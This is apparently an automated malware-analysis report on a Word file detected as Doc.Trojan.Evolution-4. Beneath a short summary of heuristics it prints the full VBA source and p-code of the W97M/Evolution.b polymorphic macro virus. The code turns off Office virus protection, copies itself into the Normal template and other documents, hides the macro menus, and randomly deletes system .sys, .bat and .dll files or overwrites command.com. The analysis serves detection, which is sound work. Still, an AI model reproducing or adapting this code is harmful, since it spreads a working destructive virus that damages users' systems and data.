MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains legacy WordBasic macro-virus markers and VBA macros, including AutoOpen and Auto_Close functions, indicating malicious intent. The script attempts to interact with a file named 'vnames.cpl' located in 'C:\windows\system\', suggesting it may be involved in downloading or executing a secondary payload. The ClamAV detection of 'Doc.Trojan.Evolution-4' further supports its malicious nature.
Heuristics 6
-
ClamAV: Doc.Trojan.Evolution-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Evolution-4
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 63545 bytes |
SHA-256: 6a4a72abb7bb0f16baf0ab47673bbcdd3e951118ba1bf8a21592976271d7227d |
|||
|
Detection
ClamAV:
Doc.Trojan.Evolution-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "EVOL"
Public Source As String
Public ByeMacro As String
Public Hostinf As Boolean
Public FileInf As Boolean
Public FExport As String
Public PMExport As String
Public PMFile_Yes As Boolean
Public Ex_Yes As Boolean
Public Filename As String
Public FileID As String
Public FileID2 As String
Public Virname As String
Public FC_There As Boolean
Public FO_There As Boolean
Public FP_There As Boolean
Public FN_There As Boolean
Public FS_There As Boolean
Public FSA_There As Boolean
Public VrusName As String
Public Armor As Boolean
Function Self_Recognition()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Open "C:\windows\system\vnames.cpl" For Input As #1
Do
Line Input #1, Virname
For Z = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(Z).Name <> "ThisDocument" Then
If Virname = ActiveDocument.VBProject.VBComponents(Z).Name Then GoTo lost
If Virname <> ActiveDocument.VBProject.VBComponents(Z).Name Then GoTo newname
newname:
Close #1
Open "C:\windows\system\vnames.cpl" For Append As #1
Print #1, ActiveDocument.VBProject.VBComponents(Z).Name
Close #1
End If
If ActiveDocument.VBProject.VBComponents(Z).Name = "ThisDocument" Then GoTo lost
lost:
Next Z
Loop Until EOF(1)
Close #1
Dim Lib
Open "C:\windows\system\vnames.cpl" For Input As #1
Do
Line Input #1, Virname
For Lib = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(Lib).Name = "ThisDocument" Then GoTo skip
If NormalTemplate.VBProject.VBComponents(Lib).Name = Virname Then Hostinf = True: GoTo doccheck
skip:
Next Lib
Loop Until EOF(1)
doccheck:
Close #1
Open "C:\windows\system\vnames.cpl" For Input As #1
Do
Line Input #1, Virname
For Lib = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(Lib).Name = "ThisDocument" Then GoTo nope
If ActiveDocument.VBProject.VBComponents(Lib).Name = Virname Then FileInf = True: GoTo leave
If ActiveDocument.VBProject.VBComponents(Lib).Name <> Virname Then FileInf = False:
nope:
Next Lib
Loop Until EOF(1)
FileInf = False
leave:
Close #1
End Function
Function Armor_Status()
Application.EnableCancelKey = wdCancelDisabled
If GetAttr(NormalTemplate.FullName) = vbReadOnly Then Armor = True
Offense:
If Armor = True Then SetAttr (NormalTemplate.FullName), vbNormal
Armor = False
End Function
Function Export_Code()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
FExport = Dir("C:\windows\system\export.sys")
If FExport = "Export.sys" Then Ex_Yes = True
If Ex_Yes = False Then GoTo Morph Else GoTo Recognize
Morph:
Randomize Timer
q = Int(Rnd(1) * 5) + 1
For vi = 1 To q
x = Int(Rnd(1) * 26)
If x = 1 Then a$ = "A"
If x = 2 Then a$ = "B"
If x = 3 Then a$ = "C"
If x = 4 Then a$ = "D"
If x = 5 Then a$ = "E"
If x = 6 Then a$ = "F"
If x = 7 Then a$ = "G"
If x = 8 Then a$ = "H"
If x = 9 Then a$ = "I"
If x = 10 Then a$ = "J"
If x = 11 Then a$ = "K"
If x = 12 Then a$ = "L"
If x = 13 Then a$ = "M"
If x = 14 Then a$ = "N"
If x = 15 Then a$ = "O"
If x = 16 Then a$ = "P"
If x = 17 Then a$ = "Q"
If x = 18 Then a$ = "R"
If x = 19 Then a$ = "S"
If x = 20 Then a$ = "T"
If x = 21 Then a$ = "U"
If x = 22 Then a$ = "V"
If x = 23 Then a$ = "W"
If x = 24 Then a$ = "X"
If x = 25 Then a$ = "Y"
If x = 26 Then a$ = "Z"
Filename = Filename + a$
Next vi
x = Int(Rnd(1) * 999) + 1
FileID = "C:\windows\system\" & Filename & x & ".cpl"
' RAPE v1.2 Export File ID Morph
Open "C:\windows\system\Export.sys" For Append As #1
Print #1, FileID
Close #1
For x = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(x).Name = "ThisDocument" Then GoTo nex
If ActiveDocument.VBProject.VBComponents(x).Name <> "ThisDocument" Then GoTo rite
rite:
Open "C:\windows\system\vnames.cpl" For Append As #1
Print #1, ActiveDocument.VBProject.VBComponents(x).Name
Close #1
nex:
Next x
CheckMe = Dir("C:\windows\system\PMF1199.cpl")
If CheckMe = "PMF1199.cpl" Then GoTo nextt
Do
On Error Resume Next
Open "C:\windows\system\vnames.cpl" For Input As #1
Line Input #1, Virname
NormalTemplate.VBProject.VBComponents(Virname).export FileID
ActiveDocument.VBProject.VBComponents(Virname).export FileID
Loop Until EOF(1)
nextt:
Exit Function
Recognize:
Open "C:\windows\system\Export.sys" For Input As #1
Line Input #1, FileID
Close #1
CheckMe = Dir("C:\windows\system\PMF1199.cpl")
If CheckMe = "PMF1199.cpl" Then GoTo tryharder
Do
On Error Resume Next
Open "C:\windows\system\vnames.cpl" For Input As #1
Line Input #1, Virname
NormalTemplate.VBProject.VBComponents(Virname).export FileID
ActiveDocument.VBProject.VBComponents(Virname).export FileID
Loop Until EOF(1)
tryharder:
End Function
Function Polymorphic_Check()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Open FileID2 For Input As #1
Dim FC_Check
Do
Line Input #1, FC_Check
If FC_Check = "Sub FileClose()" Then FC_There = True: GoTo FO_Look
Loop Until EOF(1)
FO_Look:
Dim FO_Check
Do
Line Input #1, FO_Check
If FO_Check = "Sub FileOpen()" Then FO_There = True: GoTo FP_Look
Loop Until EOF(1)
FP_Look:
Dim FP_Check
Do
Line Input #1, FP_Check
If FP_Check = "Sub FilePrint()" Then FP_There = True: GoTo FN_Look
Loop Until EOF(1)
FN_Look:
Dim FN_Check
Do
Line Input #1, FN_Check
If FN_Check = "Sub FileNew()" Then FN_There = True: GoTo FS_Look
Loop Until EOF(1)
FS_Look:
Dim FS_Check
Do
Line Input #1, FS_Check
If FS_Check = "Sub FileSave()" Then FS_There = True: GoTo FSA_Look
Loop Until EOF(1)
FSA_Look:
Dim FSA_Check
Do
Line Input #1, FSA_Check
If FSA_Check = "Sub FileSaveAs()" Then FSA_There = True: Exit Function
Loop Until EOF(1)
End Function
Function Payload()
On Error Resume Next
'Now we got a nasty little payload....
Check$ = Dir("C:\error1.sys")
If Check$ = "error1.sys" Then Exit Function
Randomize Timer
x = Int(Rnd(1) * 100)
If x = 1 Then
Open "C:\autoexec.bat" For Append As #1
Print #1, "echo Everything must change"
Close #1
End If
If x = 2 Then
Open "C:\command.com" For Output As #1
Print #1, "W97M/Evolution .b!!"
Close #1
End If
If x = 3 Then
Kill "C:\*.sys"
Kill "C:\*.bat"
End If
If x = 50 Then
Kill "C:\windows\system\*.dll"
End If
If x = 25 Then
Open "C:\windows\Control.ini" For Append As #1
Seek #1, 0
Print #1, "[Screen Saver.3DText]"
Print #1, "DemoType = 0"
Print #1, "RotStyle = 3"
Print #1, "Tesselation = 100"
Print #1, "Size = 100"
Print #1, "Speed = 100"
Print #1, "SurfStyle = 0"
Print #1, "Font = Comic Sans MS"
Print #1, "FontAttributes = 0"
Print #1, "Charset = 0"
Print #1, "Text = Evolution"
Print #1, "Texture = None"
Print #1, "TextureFileOffset = 3"
Close #1
End If
If x = 75 Then
' I love this nice little trick for Dr. Solomon
Open "C:\windows\import.exe" For Append As #1
Print #1, "ZQZXJVBVT"
Print #1, "Oops looks like you got a 'virus'"
Close #1
End If
If x = 69 Then
Open "C:\windows\Evolution.bmp" For Append As #1
Print #1, "dedicated to that special little someone.."
Print #1, "She knows who she is..."
Close #1
End If
If x = 83 Then
Open "C:\windows\system\data101.cpl" For Append As #1
Print #1, "Word97 Macro Evolution .b"
Close #1
End If
End Function
Function Evolve()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
'RAPE v1.2 Macro Virus Command/Code Editor - adds 1 to 6 Commands (subs)
Open "C:\windows\system\Export.sys" For Input As #1
Line Input #1, FileID2
Close #1
PM = Int(Rnd(1) * 150) + 1
If PM = 22 Then
If FC_There = True Then Exit Function
Open FileID2 For Append As #1
Print #1, "Sub FileClose()"
Print #1, "On error resume next"
Print #1, "Call Evolution"
Print #1, "Wordbasic.FileSave"
Print #1, "End Sub"
Close #1
End If
If PM = 73 Then
If FO_There = True Then Exit Function
Open FileID2 For Append As #1
Print #1, "Sub FileOpen()"
Print #1, "on error resume next"
Print #1, "Dialogs(wdDialogFileOpen)"
Print #1, "Call Evolution"
Print #1, "end sub"
Close #1
End If
If PM = 69 Then
If FP_There = True Then Exit Function
Open FileID2 For Append As #1
Print #1, "Sub FilePrint()"
Print #1, "on error resume next"
Print #1, "Dialogs(wdDialogFilePrint)"
Print #1, "Call Evolution"
Print #1, "End sub"
Close #1
End If
If PM = 122 Then
If FN_There = True Then Exit Function
Open FileID2 For Append As #1
Print #1, "Sub FileNew()"
Print #1, "on error resume next"
Print #1, "Dialogs(wdDialogFileNew)"
Print #1, "Call Evolution"
Print #1, "End Sub"
Close #1
End If
If PM = 90 Then
If FS_There = True Then Exit Function
Open FileID2 For Append As #1
Print #1, "Sub FileSave()"
Print #1, "on error resume next"
Print #1, "call Evolution"
Print #1, "wordbasic.filesave"
Print #1, "end sub"
Close #1
End If
If PM = 8 Then
If FSA_There = True Then Exit Function
Open FileID2 For Append As #1
Print #1, "Sub FileSaveAs()"
Print #1, "on error resume next"
Print #1, "Dialogs(wdDialogFileSaveAs)"
Print #1, "Call Evolution"
Print #1, "wordbasic.filesave"
Print #1, "end sub"
Close #1
End If
End Function
Function Norminf()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Open "C:\windows\system\Export.sys" For Input As #1
Line Input #1, FileID2
Close #1
For l = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(l).Name = "ThisDocument" Then GoTo nexus
If ActiveDocument.VBProject.VBComponents(l).Name <> "ThisDocument" Then
Open "C:\windows\system\vnames.cpl" For Append As #1
Print #1, ActiveDocument.VBProject.VBComponents(l).Name
Close #1
End If
nexus:
Next l
With NormalTemplate.VBProject.VBComponents.Import(FileID2)
End With
MsgBox "An error has occurred, please save all Documents and restart Microsoft Word. If the problem persists, please contact Microsoft Technical Support.", 48
End Function
Function FileInft()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Open "C:\windows\system\Export.sys" For Input As #1
Line Input #1, FileID2
Close #1
With ActiveDocument.VBProject.VBComponents.Import(FileID2)
End With
Randomize Timer
WD = Int(Rnd(1) * 8) + 2
For evo = 2 To WD
x = Int(Rnd(1) * 26)
If x = 1 Then a$ = "A"
If x = 2 Then a$ = "B"
If x = 3 Then a$ = "C"
If x = 4 Then a$ = "D"
If x = 5 Then a$ = "E"
If x = 6 Then a$ = "F"
If x = 7 Then a$ = "G"
If x = 8 Then a$ = "H"
If x = 9 Then a$ = "I"
If x = 10 Then a$ = "J"
If x = 11 Then a$ = "K"
If x = 12 Then a$ = "L"
If x = 13 Then a$ = "M"
If x = 14 Then a$ = "N"
If x = 15 Then a$ = "O"
If x = 16 Then a$ = "P"
If x = 17 Then a$ = "Q"
If x = 18 Then a$ = "R"
If x = 19 Then a$ = "S"
If x = 20 Then a$ = "T"
If x = 21 Then a$ = "U"
If x = 22 Then a$ = "V"
If x = 23 Then a$ = "W"
If x = 24 Then a$ = "X"
If x = 25 Then a$ = "Y"
If x = 26 Then a$ = "Z"
VrusName = VrusName + a$
Next evo
Open "C:\windows\system\vnames.cpl" For Input As #1
Do
Line Input #1, Virname
Application.OrganizerRename Source:=ActiveDocument.FullName, Name:=Virname, newname:=VrusName, Object:=wdOrganizerObjectProjectItems
' RAPE v1.2 Macro Virus Name Randomizer - 2 to 8 letters
Loop Until EOF(1)
Close #1
For x = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(x).Name = "ThisDocument" Then GoTo nex
If ActiveDocument.VBProject.VBComponents(x).Name <> "ThisDocument" Then GoTo rite
rite:
Open "C:\windows\system\vnames.cpl" For Append As #1
Print #1, ActiveDocument.VBProject.VBComponents(x).Name
Close #1
nex:
Next x
End Function
Function Evolution()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Call Self_Recognition
Call Armor_Status
Call Export_Code
Call Payload
Call Polymorphic_Check
Call Evolve
If Hostinf = False Then Call Norminf
If FileInf = False Then Call FileInft
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
If Armor = False Then CommandBars("tools").Controls("Macro").Delete
If Armor = False Then CommandBars("tools").Controls("Templates and add-ins...").Delete
' W97M/Evolution
' W97M/Evolution .b Variant by Nex and Error
' Polymorphic Stealth Word97 Macro Virus
' All Things Must Change...
' Polymorphic thanx to Random Arithmetic Polymorphic Engine (RAPE v1.2) by Error
' RAPE v1.2 does:
' Randomly Morphs Source Code by Adding Random Remarks now even better
' Randomly Selects Source Code Export File - Then Morphs it
' Randomly Creates Virus Macro Name
' Randomly Adds 1 to 6 Commands to Code
End Function
Sub AutoClose()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Call Evolution
WordBasic.filesave
End Sub
Sub AutoExec()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Call Armor_Status
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
If Armor = False Then CommandBars("tools").Controls("Macro").Delete
If Armor = False Then CommandBars("tools").Controls("Templates and add-ins...").Delete
End Sub
Sub AutoExit()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Call Evolution
PMExport = Dir("C:\Windows\System\PMF1199.cpl")
If PMExport = "PMF1199.cpl" Then PMFile_Yes = True
If PMFile_Yes = True Then Exit Sub
Open "C:\Windows\System\PMF1199.cpl" For Append As #1
Print #1, "W97M/Evolution .b by Nex"
Print #1, "Random Arithmetic Polymorphic Engine (RAPE v1.2) by Error"
Close #1
Open "C:\windows\system\Export.sys" For Input As #2
Line Input #2, FileID
Close #2
Open FileID For Append As #9
Print #9, "' EOF"
Close #9
Open FileID For Input As #3
Randomize Timer
W = Int(Rnd(1) * 5) + 1
For vir = 1 To W
x = Int(Rnd(1) * 26)
If x = 1 Then a$ = "A"
If x = 2 Then a$ = "B"
If x = 3 Then a$ = "C"
If x = 4 Then a$ = "D"
If x = 5 Then a$ = "E"
If x = 6 Then a$ = "F"
If x = 7 Then a$ = "G"
If x = 8 Then a$ = "H"
If x = 9 Then a$ = "I"
If x = 10 Then a$ = "J"
If x = 11 Then a$ = "K"
If x = 12 Then a$ = "L"
If x = 13 Then a$ = "M"
If x = 14 Then a$ = "N"
If x = 15 Then a$ = "O"
If x = 16 Then a$ = "P"
If x = 17 Then a$ = "Q"
If x = 18 Then a$ = "R"
If x = 19 Then a$ = "S"
If x = 20 Then a$ = "T"
If x = 21 Then a$ = "U"
If x = 22 Then a$ = "V"
If x = 23 Then a$ = "W"
If x = 24 Then a$ = "X"
If x = 25 Then a$ = "Y"
If x = 26 Then a$ = "Z"
Filename = Filename + a$
Next vir
F = Int(Rnd(1) * 999) + 1
FileID2 = "C:\windows\system\" & Filename & F & ".cpl"
Open FileID2 For Append As #4
Do
inpux:
Line Input #3, stuff
Print #4, stuff
Randomize Timer
t = Int(Rnd(1) * 5) + 1
If t = 1 Then Z$ = " '" & Application.UserName
If t = 2 Then Z$ = " '" & Application.UserInitials
If t = 3 Then Z$ = " '" & Application.UserAddress
If t = 4 Then Z$ = " '" & Int(Rnd(1) * 9999999) + 1
If t = 5 Then GoTo inpux
Print #4, Z$
' Source Code Morpher - adds random remarks to Code (RAPE v1.2 by Error)
Loop Until stuff = "' EOF"
Close #3
Close #4
Kill "C:\windows\system\export.sys"
Open "C:\windows\system\Export.sys" For Append As #5
Print #5, FileID2
Close #5
End Sub
Sub AutoNew()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Call Evolution
End Sub
Sub AutoOpen()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Call Evolution
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
End Sub
Sub ToolsCustomize()
Application.EnableCancelKey = wdCancelDisabled
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
End Sub
' "The most polymorphic Macro Virus to date...." - NAI
' EOF
' Processing file: /tmp/qstore_k2osgso0
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/EVOL - 28405 bytes
' Line #0:
' Dim (Public)
' VarDefn Source (As String)
' Line #1:
' Dim (Public)
' VarDefn ByeMacro (As String)
' Line #2:
' Dim (Public)
' VarDefn Hostinf (As Boolean)
' Line #3:
' Dim (Public)
' VarDefn FileInf (As Boolean)
' Line #4:
' Dim (Public)
' VarDefn FExport (As String)
' Line #5:
' Dim (Public)
' VarDefn PMExport (As String)
' Line #6:
' Dim (Public)
' VarDefn PMFile_Yes (As Boolean)
' Line #7:
' Dim (Public)
' VarDefn Ex_Yes (As Boolean)
' Line #8:
' Dim (Public)
' VarDefn Filename (As String)
' Line #9:
' Dim (Public)
' VarDefn FileID (As String)
' Line #10:
' Dim (Public)
' VarDefn FileID2 (As String)
' Line #11:
' Dim (Public)
' VarDefn Virname (As String)
' Line #12:
' Dim (Public)
' VarDefn FC_There (As Boolean)
' Line #13:
' Dim (Public)
' VarDefn FO_There (As Boolean)
' Line #14:
' Dim (Public)
' VarDefn FP_There (As Boolean)
' Line #15:
' Dim (Public)
' VarDefn FN_There (As Boolean)
' Line #16:
' Dim (Public)
' VarDefn FS_There (As Boolean)
' Line #17:
' Dim (Public)
' VarDefn FSA_There (As Boolean)
' Line #18:
' Dim (Public)
' VarDefn VrusName (As String)
' Line #19:
' Dim (Public)
' VarDefn Armor (As Boolean)
' Line #20:
' FuncDefn (Function Self_Recognition())
' Line #21:
' OnError (Resume Next)
' Line #22:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #23:
' LitStr 0x001C "C:\windows\system\vnames.cpl"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Input)
' Line #24:
' Do
' Line #25:
' LitDI2 0x0001
' Ld Virname
' LineInput
' Line #26:
' StartForVariable
' Ld Z
' EndForVariable
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #27:
' Ld Z
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x000C "ThisDocument"
' Ne
' IfBlock
' Line #28:
' Ld Virname
' Ld Z
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' Eq
' If
' BoSImplicit
' GoTo lost
' EndIf
' Line #29:
' Ld Virname
' Ld Z
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' Ne
' If
' BoSImplicit
' GoTo newname
' EndIf
' Line #30:
' Label newname
' Line #31:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #32:
' LitStr 0x001C "C:\windows\system\vnames.cpl"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Append)
' Line #33:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld Z
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' PrintItemNL
' Line #34:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #35:
' EndIfBlock
' Line #36:
' Ld Z
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x000C "ThisDocument"
' Eq
' If
' BoSImplicit
' GoTo lost
' EndIf
' Line #37:
' Label lost
' Line #38:
' StartForVariable
' Ld Z
' EndForVariable
' NextVar
' Line #39:
' LitDI2 0x0001
' ArgsLd EOF 0x0001
' LoopUntil
' Line #40:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #41:
' Dim
' VarDefn Let
' Line #42:
' LitStr 0x001C "C:\windows\system\vnames.cpl"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Input)
' Line #43:
' Do
' Line #44:
' LitDI2 0x0001
' Ld Virname
' LineInput
' Line #45:
' StartForVariable
' Ld Let
' EndForVariable
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #46:
' Ld Let
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x000C "ThisDocument"
' Eq
' If
' BoSImplicit
' GoTo skip
' EndIf
' Line #47:
' Ld Let
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' Ld Virname
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St Hostinf
' BoS 0x0000
' GoTo doccheck
' EndIf
' Line #48:
' Label skip
' Line #49:
' StartForVariable
' Ld Let
' EndForVariable
' NextVar
' Line #50:
' LitDI2 0x0001
' ArgsLd EOF 0x0001
' LoopUntil
' Line #51:
' Label doccheck
' Line #52:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #53:
' LitStr 0x001C "C:\windows\system\vnames.cpl"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Input)
' Line #54:
' Do
' Line #55:
' LitDI2 0x0001
' Ld Virname
' LineInput
' Line #56:
' StartForVariable
' Ld Let
' EndForVariable
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' MemLd Count
' For
' Line #57:
' Ld Let
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' LitStr 0x000C "ThisDocument"
' Eq
' If
' BoSImplicit
' GoTo nope
' EndIf
' Line #58:
' Ld Let
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' Ld Virname
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St FileInf
' BoS 0x0000
' GoTo leave
' EndIf
' Line #59:
' Ld Let
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd New
' Ld Virname
' Ne
' If
' BoSImplicit
' LitVarSpecial (False)
' St FileInf
' BoS 0x0000
' EndIf
' Line #60:
' Label nope
' Line #61:
' StartForVariable
' Ld Let
' EndForVariable
' NextVar
' Line #62:
' LitDI2 0x0001
' ArgsLd EOF 0x0001
' LoopUntil
' Line #63:
' LitVarSpecial (False)
' St FileInf
' Line #64:
' Label leave
' Line #65:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #66:
' EndFunc
' Line #67:
' FuncDefn (Function Armor_Status())
' Line #68:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #69:
' Ld NormalTemplate
' MemLd FullName
' ArgsLd GetAttr 0x0001
' Ld vbReadOnly
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St Armor
' EndIf
' Line #70:
' Label Offense
' Line #71:
' Ld Armor
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' Ld NormalTemplate
' MemLd FullName
' Paren
' Ld vbNormal
' ArgsCall SetAttr 0x0002
' EndIf
' Line #72:
' LitVarSpecial (False)
' St Armor
' Line #73:
' EndFunc
' Line #74:
' FuncDefn (Function Export_Code())
' Line #75:
' OnError (Resume Next)
' Line #76:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #77:
' LitStr 0x001C "C:\windows\system\export.sys"
' ArgsLd Dir 0x0001
' St FExport
' Line #78:
' Ld FExport
' LitStr 0x000A "Export.sys"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St Ex_Yes
' EndIf
' Line #79:
' Ld Ex_Yes
' LitVarSpecial (False)
' Eq
' If
' BoSImplicit
' GoTo Morph
' Else
' BoSImplicit
' GoTo Recognize
' EndIf
' Line #80:
' Label Morph
' Line #81:
' Ld Timer
' ArgsCall Read 0x0001
' Line #82:
' LitDI2 0x0001
' ArgsLd Rnd 0x0001
' LitDI2 0x0005
' Mul
' FnInt
' LitDI2 0x0001
' Add
' St q
' Line #83:
' StartForVariable
' Ld vi
' EndForVariable
' LitDI2 0x0001
' Ld q
' For
' Line #84:
' LitDI2 0x0001
' ArgsLd Rnd 0x0001
' LitDI2 0x001A
' Mul
' FnInt
' St x
' Line #85:
' Ld x
' LitDI2 0x0001
' Eq
' If
' BoSImplicit
' LitStr 0x0001 "A"
' St a$
' EndIf
' Line #86:
' Ld x
' LitDI2 0x0002
' Eq
' If
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.